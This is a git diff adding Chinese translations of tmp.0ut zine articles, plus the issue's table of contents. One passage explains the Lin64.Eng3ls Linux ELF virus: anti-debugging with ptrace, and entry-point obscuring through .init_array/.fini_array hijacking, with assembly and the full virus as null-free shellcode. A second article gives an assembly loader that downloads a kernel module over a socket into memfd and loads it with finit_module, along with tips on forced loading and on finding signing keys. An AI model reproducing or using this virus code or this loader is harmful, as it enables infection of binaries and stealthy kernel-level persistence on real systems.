+Eng3ls基本上是Lin64.Kropotkine[0]的改进版本,感染方法仍然是使用相同的
+PT_NOTE到PT_LOAD段转换,但我们添加了一些混淆技术。
+
+事实上,Kropotkin完全不具备隐蔽性:被感染二进制文件的入口点被直接修改为
+指向病毒,而且病毒代码是明文的(所以很容易分析...)。
+
+为了解决这些问题,我们为病毒主体制作了一个寡态xor解密器/加密器(我知道这
+不是很fancy...),密钥在每个新感染的二进制文件中都会改变,这样每个复制的
+代码都是不同的。
+
+然而,这种穷人版的多态性有一个很大的缺点,就是解密器的代码不会改变。
+
+因此,如果没有更多的巫术,逆向工程师会很快理解病毒是如何加密的,以及它做
+什么。
+
+这就是为什么我第一次在我的病毒中实现了多态假反汇编技术(或简称"假多态"),
+以混淆解密器。
+
+查看我写的关于这个技术的论文,看看它是如何工作的以及结果如何!
+(基本上就是翻到杂志的下一页)
+
+但仍然存在一个问题:被感染二进制文件的入口点直接指向病毒,这一点都不隐蔽!
+让我们看看我们是如何解决这个问题的...
+
+--- ELF的入口点混淆技术 ---
+
+/!\ 这个技术不适用于PIE二进制文件 /!\
+
+入口点混淆简单来说就是病毒隐藏其第一条指令地址的行为。
+
+在非EPO病毒中,被感染程序的入口点被修改为指向病毒的开始,而在EPO病毒中,
+病毒是通过其他方式被调用的,无论是通过在宿主代码中隐藏一个跳转,还是像这里
+一样,利用可执行文件格式的特性。
+
+在ELF中,入口点实际上不是程序运行时执行的第一个地址。
+
+有一些glibc初始化例程,最终会加载main()。
+
+我不会详细解释它是如何工作的,已经有一篇很酷的论文[1]讲述了这个。
+只需要记住我们将劫持.init_array和.fini_array段,它们分别包含指向二进制
+文件的构造函数和析构函数的指针。
+
+因此,位于.init_array中的代码地址在入口点之前执行。这正是我们想要的!
+
+我首先选择实现一个小型的反调试技术,一个ptrace检查来查看当前进程是否被跟踪
+(所以是被调试或straced)。
+经典的"if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
+很容易绕过(修补病毒或在gdb中在比较时设置rax = 0)...
+所以我让它变得"困难"(其实也不是很难)检测!
+
+------------------------- 分割线 --------------------------------------------------
+check_dbg:
+    push rbp
+    mov rbp, rsp
+
+    jmp jmp_over4+2
+    jmp_over4:
+      db `\x41\xba` ; 假反汇编
+    mov rax, 101 ; sys_ptrace
+    xor rdi, rdi ; PTRACE_TRACEME
+    xor rsi, rsi
+    xor r10, r10
+    xor rdx, rdx
+    inc rdx
+    jmp jmp_over6+2
+    jmp_over6:
+      db `\xe9\x94` ; 假反汇编
+    syscall
+
+    jmp jmp_over5+2
+    jmp_over5:
+      db `\x49\x81` ; 假反汇编
+    cmp rax, 0
+    jge continue
+    mov rax, 60
+    xor rdi, rdi
+    syscall
+
+    continue:
+    pop rbp
+    ret
+-------------------------------------------------------------------------------------
+
+我在例程中写入了一些假反汇编字节(在每次新感染时都会改变),并通过滥用
+.init_array使其在main()之前被调用。
+因此,如果被调试,病毒会停止执行,即使在入口点设置了断点。
+
+关于病毒本身,我让它在最后通过滥用.fini_array被调用。
+这里是我写的用于解析节头表以搜索.init_array和.fini_array,以及修补它们的
+例程。
+
+------------------------- 分割线 --------------------------------------------------
+parse_shdr:
+  xor rcx, rcx
+  xor rdx, rdx
+  mov cx, word [rax+e_hdr.shnum]     ; rcx = 程序头表中的条目数
+  mov rbx, qword [rax+e_hdr.shoff]   ; rbx = 程序头表的偏移量
+  mov dx, word [rax+e_hdr.shentsize] ; rdx = 程序头表条目的大小
+
+  loop_shdr:
+    add rbx, rdx
+    dec rcx
+    cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY,我们要修改的
+                                          ; 段,用于放置调试检查(.init_array)
+    je ctor_found
+    cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY,我们要修改的
+                                          ; 段,用于EPO(.fini_array)
+    je dtor_found
+    cmp rcx, 0
+    jg loop_shdr
+
+dtor_found:
+  mov rdi, qword [rax+rbx+e_shdr.offset]
+  mov [rax+rdi], r9 ; r9保存转换段的地址,我们在这里写入病毒
+  jmp write_vx
+
+ctor_found:
+  mov rdi, qword [rax+rbx+e_shdr.offset]
+  add r9, 0x86 ; r9+0x86 = check_dbg开始的地址
+  mov [rax+rdi], r9
+  sub r9, 0x86
+  jmp loop_shdr
+-------------------------------------------------------------------------------------
+
+--- 结论 ---
+
+入口点修改是很糟糕的,应该使用入口点混淆技巧,比如.init_array或.fini_array
+劫持。
+
+添加一些有趣的反RE技巧来为你的病毒增添趣味:这里加一点加密,那里加一勺调试器
+检测...
+
+我希望你喜欢这篇文章,并且学到了一些东西。
+
+如果你想更深入地了解,我写了一个使用与eng3ls相同的反逆向工程技术的crackme。
+
+在这里查看:https://crackmes.one/crackme/6049f27f33c5d42c3d016dea
+
+--- 附加内容 ---
+
+我写了一个无空字节版本的病毒。
+无空字节代码 + 位置无关 = shellcode \o/
+所以这里是病毒的shellcode版本:
+
+unsigned char shellcode[] = 
+    "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
+    "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
+    "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
+    "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
+    "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
+    "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
+    "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
+    "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
+    "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
+    "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
+    "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
+    "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
+    "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
+    "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
+    "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
+    "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
+    "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
+    "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
+    "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
+    "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
+    "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
+    "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
+    "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
+    "\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
+    "\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
+    "\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
+    "\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
+    "\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
+    "\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
+    "\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
+    "\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
+    "\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
+    "\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
+    "\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
+    "\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
+    "\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
+    "\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
+    "\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
+    "\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
+    "\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
+    "\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
+    "\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
+    "\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
+    "\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
+    "\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
+    "\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
+    "\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
+    "\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
+    "\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";
+
+不要做傻事,不要将这些东西传播到野外。
+我们不对你使用这些代码的行为负责。
+
+--> 编写无空字节代码的两种技术:
+
+1) 用push指令替换mov指令。
+示例:
+
+b809000000     mov eax, 9  ----> 6a09 push 0x9
+                                 58   pop rax
+2) 加/减技术:
+有时候你添加到寄存器的值会包含空字节。
+你可以通过添加和减去一个垃圾值来去除它们。
+示例:
+
+4881c4890300  add rsp, 0x389  ----> 4881c4e8c311  add rsp, 0x1111c3e8
+          ^                         // 0x1111c3e8 = 0x389 + 0x1111c0de
+                                    4881ecdec011  sub rsp, 0x1111c0de
+
+--- 注释和参考文献 ---
+[0] https://github.com/vxunderground/MalwareSourceCode
+      /blob/main/VXUG/Linux.Kropotkine.asm
+[1] 滥用.CTORS和.DTORS获得乐趣和利益
+    https://www.exploit-db.com/papers/13234
+
+--- 源代码 ---
+
+- Linux.Eng3ls.asm
+
\ No newline at end of file diff --git a/1/zh/9.html b/1/zh/9.html new file mode 100644 index 0000000..870b28d --- /dev/null +++ b/1/zh/9.html @@ -0,0 +1,301 @@ + + +tmp.0ut + + + + +
+                                                       ┌───────────────────────┐
+                                                       ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                       │ █   █ █ █ █   █       │
+                                                       │ █   █ █ █ █▀▀▀▀       │
+                                                       │ █   █   █ █     ▄     │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄   ▄ │
+                                                       │                 █   █ │
+                                                       │                 █   █ │
+                                                       │                 █▄▄▄█ │
+                                                       │                 ▄▄▄▄▄ │
+                                                       │                   █   │
+内存中的内核模块加载                                      │                   █   │
+~ netspooky                                            └───────────────────█ ──┘
+
+由于过去一年Linux内核的一些变化破坏了旧的x86_64二进制高尔夫方法,我想简要
+介绍一下从远程源加载内核模块的技术会很有趣。我们将讨论两个对LKM加载器有用的
+系统调用,以及使用这种方法时需要考虑的一些事项。
+
+───[ 构建测试模块 ]───────────────────────────────────────────────────
+
+我们将从构建一个简单的内核模块开始测试。它只会向内核环形缓冲区打印一条消息
+(使用`dmesg`命令查看)。
+
+    // bang.c
+    #include <linux/module.h>
+    #include <linux/init.h>
+    
+    MODULE_LICENSE("GPL");
+    
+    static int __init he(void) {
+        printk(KERN_INFO"we out here :}\n");
+        return 0;
+    }
+    
+    static void __exit le(void) {
+        printk(KERN_INFO"we are no longer out here :{\n");
+    }
+    
+    module_init(he);
+    module_exit(le);
+
+一个简单的Makefile来构建它:
+
+    obj-m += bang.o
+    dir = $(shell uname -rm | sed -e 's/\s/\-/')
+    
+    all:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
+    
+    strip: all
+        strip bang.ko
+        mkdir -p $(dir)
+        cp -v bang.ko $(dir)/he.ko
+    
+    load: all
+        sudo insmod bang.ko
+    
+    unload:
+        sudo rmmod bang
+    
+    clean:
+        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
+
+要构建,只需运行`make`。
+
+在42000端口上提供服务:`cat bang.ko | nc -k -lvp 42000`
+
+───[ 加载器 ]───────────────────────────────────────────────────────────────
+
+我们将使用的加载器相当直接,但为了那些正在学习这些技术以进行进一步开发的人,
+我会详细介绍它。
+
+我们将把这个模块下载到内存中的文件中。所以我们首先创建一个到我们的服务器
+(127.0.0.1:42000)的套接字,该服务器托管内核模块。然后我们将创建一个memfd
+文件来下载到目标。
+
+memfd_create系统调用是作为一种创建不与任何文件系统关联的临时文件的方法而创建
+的。它们是一种便捷的方式来写入仅在程序生命周期内存在的文件,并给你同时拥有
+临时路径和文件描述符的好处。
+
+在这里可以看到从/proc/self/fd/4执行memfd文件的示例:
+  https://github.com/netspooky/golfclub/blob/master/linux/dl_memfd_219.asm#L100
+
+一旦我们设置好了memfd文件,我们从远程主机读取套接字缓冲区,并将其写入我们的
+文件描述符。
+
+在文件被下载到我们的memfd文件后,我们使用finit_module系统调用通过文件描述符
+加载内核模块。
+
+───[ kl.asm ]───────────────────────────────────────────────────────────────────
+
+;-- 从127.0.0.1:42000下载内核模块到内存并加载 -------//--
+;  __  __ .   __  __  __  __ .  .  . 设置:
+; |  ||__||_ |__ |__||  ||  ||_/|  |   $ cat somekernelmodule.ko | nc -lvp 42000
+; |  ||   |     ||   |o ||o ||\ |__| 构建:
+; |  ||__ |__ __||   |__||__|| \ __|   $ nasm -f elf64 kl.asm ; ld kl.o -o kl
+;-------------------------------------------------------------------------------
+section .text
+global _start
+_start:
+; socket -----------------------------------------------------------------------
+; 设置套接字
+; int socket(int domain, int type, int protocol);
+;  rdi = int domain
+;  rsi = int type
+;  rdx = int protocol 
+;-------------------------------------------------------------------------------
+  push byte 0x29               ; 压入socket系统调用号
+  pop rax                      ; RAX = socket系统调用
+  push byte 0x2                ; 压入域名: AF_INET
+  pop rdi                      ; RDI = AF_INET
+  push byte 0x1                ; 压入类型: SOCK_STREAM
+  pop rsi                      ; RSI = SOCK_STREAM
+  cdq                          ; RDX = 0
+  syscall                      ; socket系统调用
+; connect ----------------------------------------------------------------------
+; 我们连接到我们的主机来获取文件缓冲区
+; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
+;  rdi = int sockfd
+;  rsi = const struct sockaddr *addr
+;  rdx = socklen_t addrlen
+;-------------------------------------------------------------------------------
+  xchg rdi, rax                ; int sockfd
+  mov rbx, rdi                 ; 也把sockfd保存在rbx中供以后使用
+  mov dword [rsp-4], 0x100007F ; 我们的IP   = 127.0.0.1
+  mov word  [rsp-6], 0x10A4    ; 我们的端口 = 42000
+  mov byte  [rsp-8], 0x02      ; sockfd
+  sub rsp, 8                   ; 对齐
+  push byte 0x2a               ; 压入connect系统调用号
+  pop rax                      ; RAX = connect系统调用
+  mov rsi, rsp                 ; const struct sockaddr *addr
+  push byte 0x10               ; 长度
+  pop rdx                      ; 长度 -> rdx
+  syscall                      ; 执行connect系统调用
+; memfd_create -----------------------------------------------------------------
+; 我们创建一个虚拟文件来保存我们的套接字缓冲区
+; int memfd_create(const char *name, unsigned int flags);
+;  rdi = const char *pathname
+;  rsi = int flags
+;-------------------------------------------------------------------------------
+  mov ax, 0x13f                ; 系统调用
+  push 0x474e4142              ; 文件名 BANG (这里是GNAB)
+  mov rdi, rsp                 ; Arg0: 文件名
+  xor rsi, rsi                 ; int flags
+  syscall                      ; 执行memfd_create系统调用
+; read -------------------------------------------------------------------------
+; 我们正在读取套接字缓冲区到一个缓冲区以保存到本地文件
+; ssize_t read(socket sockfd,buf,len)
+;  rdi = int fd  
+;  rsi = void *buf 
+;  rdx = size_t count     
+;-------------------------------------------------------------------------------
+  mov r9, rax                  ; 保存本地文件描述符
+  mov rdx, 0x400               ; size_t count = 1024字节 
+rwloop:
+  mov rdi, rbx                 ; 将sockFD移动到RDI
+  xor rax, rax                 ; 0是read系统调用
+  lea rsi, [rsp-1024]          ; 用于保存输出的缓冲区 - arg1 *buf
+  syscall                      ; Read系统调用
+; write ------------------------------------------------------------------------
+; 我们正在将套接字缓冲区写入我们的本地文件
+; ssize_t sys_write(fd,*buf,count)
+;  rdi = int fd  
+;  rsi = const *buf 
+;  rdx = size_t count     
+;-------------------------------------------------------------------------------
+  mov rdi, r9                  ; 从我们的本地文件复制文件描述符
+  mov rdx, rax                 ; RDX = 读取的字节数,0表示文件结束
+  xor rax, rax                 ; RAX = 0
+  mov al, 1                    ; 系统调用号
+  syscall                      ; Write系统调用
+  cmp dx, 0x400                ; 检查是否还有字节需要读取
+  je rwloop                    ; 如果有则循环
+; finit_module -----------------------------------------------------------------
+; 通过文件描述符加载内核模块
+; int finit_module(int fd, const char *param_values, int flags);
+;  rdi = int fd - 文件描述符
+;  rsi = const char *param_values
+;  rdx = int flags
+;-------------------------------------------------------------------------------
+  xor rax, rax                 ; RAX = 0
+  push rax                     ; param_values
+  mov rsi, rsp                 ; RSI = *param_values
+  mov rax, 0x139               ; finit_module系统调用
+  mov rdi, r9                  ; int fd
+  xor rdx, rdx                 ; int flags 
+  syscall                      ; finit_module系统调用
+;--- Exit ----------------------------------------------------------------------
+; void exit(int status);
+;  rdi = int status
+;-------------------------------------------------------------------------------
+  mov rax, 0x3c                ; Exit系统调用
+  mov rdi, 0x45                ; 返回69作为完整性检查
+  syscall                      ; 和平退出
+
+───[ finit_module标志 ]───────────────────────────────────────────────────────
+
+finit_module系统调用是在Linux中加载内核模块的一种有趣方式。通常,init_module
+系统调用会从内存中的指针加载模块。finit_module系统调用从文件描述符加载内核
+模块,并且还有一些独特的方式来覆盖在加载模块映像之前进行的正常检查。注意:
+finit_module标志只有在目标内核构建为允许强制加载时才可用。(详见下一节)
+
+覆盖标志在include/uapi/linux/module.h中定义,并在RDX中通过OR传递给系统调用。
+
+    /* sys_finit_module的标志: */
+    #define MODULE_INIT_IGNORE_MODVERSIONS  1
+    #define MODULE_INIT_IGNORE_VERMAGIC     2
+
+MODULE_INIT_IGNORE_MODVERSIONS标志忽略符号版本哈希,而MODULE_INIT_IGNORE_VERMAGIC
+标志忽略模块中的内核版本魔术值。这两个标志都可以用来在模块本应被拒绝时强制将其
+加载到内核中。这可能会导致一些未定义的行为并破坏内核,所以使用这些标志时要小心!
+
+finit_module将此功能描述为:
+
+  ..当内核模块的真实性可以从其在文件系统中的位置确定时很有用;在这种情况下,
+  可以避免使用加密签名模块来确定模块真实性的开销。
+
+  - man 2 finit_module
+
+───[ 判断兼容性 ]────────────────────────────────────────────────
+
+加载内核模块的棘手之处在于,有许多不同的配置可以允许或禁止某些类型的模块,
+或者将它们加载到内核中的方式。在尝试加载模块之前,你应该了解这些内核配置
+标志。
+
+::: CONFIG_MODVERSIONS :::
+
+如果设置了这个选项(例如CONFIG_MODVERSIONS=y),那么你应该能够加载为不同
+内核编译的内核模块。
+
+检查:
+
+  $ grep CONFIG_MODVERSIONS /boot/config-YOURKERNELVERSION
+  CONFIG_MODVERSIONS=y
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODVERSIONS.html
+
+::: CONFIG_MODULE_SIG_FORCE :::
+
+如果设置了这个选项,那么你将无法加载未签名的模块。
+
+检查:
+
+  $ grep CONFIG_MODULE_SIG_FORCE /boot/config-YOURKERNELVERSION
+  # CONFIG_MODULE_SIG_FORCE is not set
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODULE_SIG_FORCE.html
+
+专业提示:你可以根据目标系统枚举系统中可能存在的预先存在的受信任密钥。
+
+示例:
+
+  /var/lib/shim-signed/mok/MOK.priv & /var/lib/shim-signed/mok/MOK.der 
+  /usr/src/LINUX/certs/signing_key.pem & /usr/src/LINUX/certs/signing_key.x509
+
+::: CONFIG_MODULE_FORCE_LOAD :::
+
+如果设置了这个选项,它允许加载没有版本信息的模块。如果要尝试使用finit_module
+标志,应该设置这个选项。如果没有设置并且你使用标志来覆盖,它会以ENOEXEC失败。
+
+检查:
+
+  $ grep CONFIG_MODULE_FORCE_LOAD /boot/config-YOURKERNELVERSION
+  # CONFIG_MODULE_FORCE_LOAD is not set
+
+更多信息:https://cateee.net/lkddb/web-lkddb/MODULE_FORCE_LOAD.html
+
+───[ 结束语 ]────────────────────────────────────────────────────────────────────
+
+我们在进行内核模块高尔夫和测试加载器时使用了这种技术。它也在WRCCDC中以单行
+命令的形式使用,这在跨多台相同配置的机器建立临时持久性时很有帮助。
+
+这只是加载内核模块的众多方法之一。还有很多可以探索的内容,我希望这能激发你
+去尝试!
+
+向以下团队的所有人致敬:tmp.0ut, thugcrowd, vxug, tcpd
+
+附:在即将发布的tmp.0ut期刊中寻找新的ELF二进制处理文章!
+
\ No newline at end of file diff --git a/1/zh/index.html b/1/zh/index.html new file mode 100644 index 0000000..a864236 --- /dev/null +++ b/1/zh/index.html @@ -0,0 +1,58 @@ + + +tmp.0ut + + + + +
+                                                            ┌───────────────────────┐
+                                                            ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
+                                                            │ █   █ █ █ █   █       │
+                                                            │ █   █ █ █ █▀▀▀▀       │
+                                                            │ █   █   █ █     ▄     │
+                                                            │                 ▄▄▄▄▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄   ▄ │
+                                                            │                 █   █ │
+                                                            │                 █   █ │
+                                                            │                 █▄▄▄█ │
+                                                            │                 ▄▄▄▄▄ │
+┌───────────────────────────────────────────────────────────│                   █   │
+│ tmp.0ut 第一期 - 2021年4月                                 │                   █   │
+│                                     目录                  └───────────────────█ ──┘
+│                                                                                  │ 
+│ 1.0  简介 ....................................................... tmp.0ut 团队 │
+│ 1.1  死亡字节 .................................................... xcellerator │
+│ 1.2  在x64汇编中实现PT_NOTE感染方法 ......................................... sblip │
+│ 1.3  使用Rust实现PT_NOTE到PT_LOAD的ELF注入器 ............................... d3npa │
+│ 1.4  使用Python实现PT_NOTE清除器 ...................................... manizzle │
+│ 1.5  用约30行代码对Radare2进行0day漏洞模糊测试 ................ Architect, s01den │
+│ 1.6  多态假反汇编技术 .................................................. s01den │
+│ 1.7  Lin64.Eng3ls:Linux病毒中的一些反逆向工程技术 ................ s01den, sblip │
+│ 1.8  Linux.Midrashim.asm ................................................... TMZ │
+│ 1.9  内存中的LKM加载 ............................................... netspooky │
+│ 1.10 Linux SHELF加载 ........................................ ulexec, Anonymous_ │
+│ 1.11 在启用PIE的情况下返回原始入口点 ................................... s01den │
+│ 1.12 用MIPS汇编编写病毒的乐趣(无利可图) ............................... s01den │
+│ 1.13 访谈:herm1t ............................................. tmp.0ut 团队 │
+│ 1.14 360秒内消失 - Linux/Retaliation ................................... qkumba │
+│ 1.15 Linux.Nasty.asm ....................................................... TMZ │
+│ 1.16 Linux.Precinct3.asm ............................................. netspooky │
+│ 1.17 地下世界 ......................................................... s01den │ 
+│                                                                                  │ 
+└──────────────────────────────────────────────────────────────────────────────────┘ 
+
+
\ No newline at end of file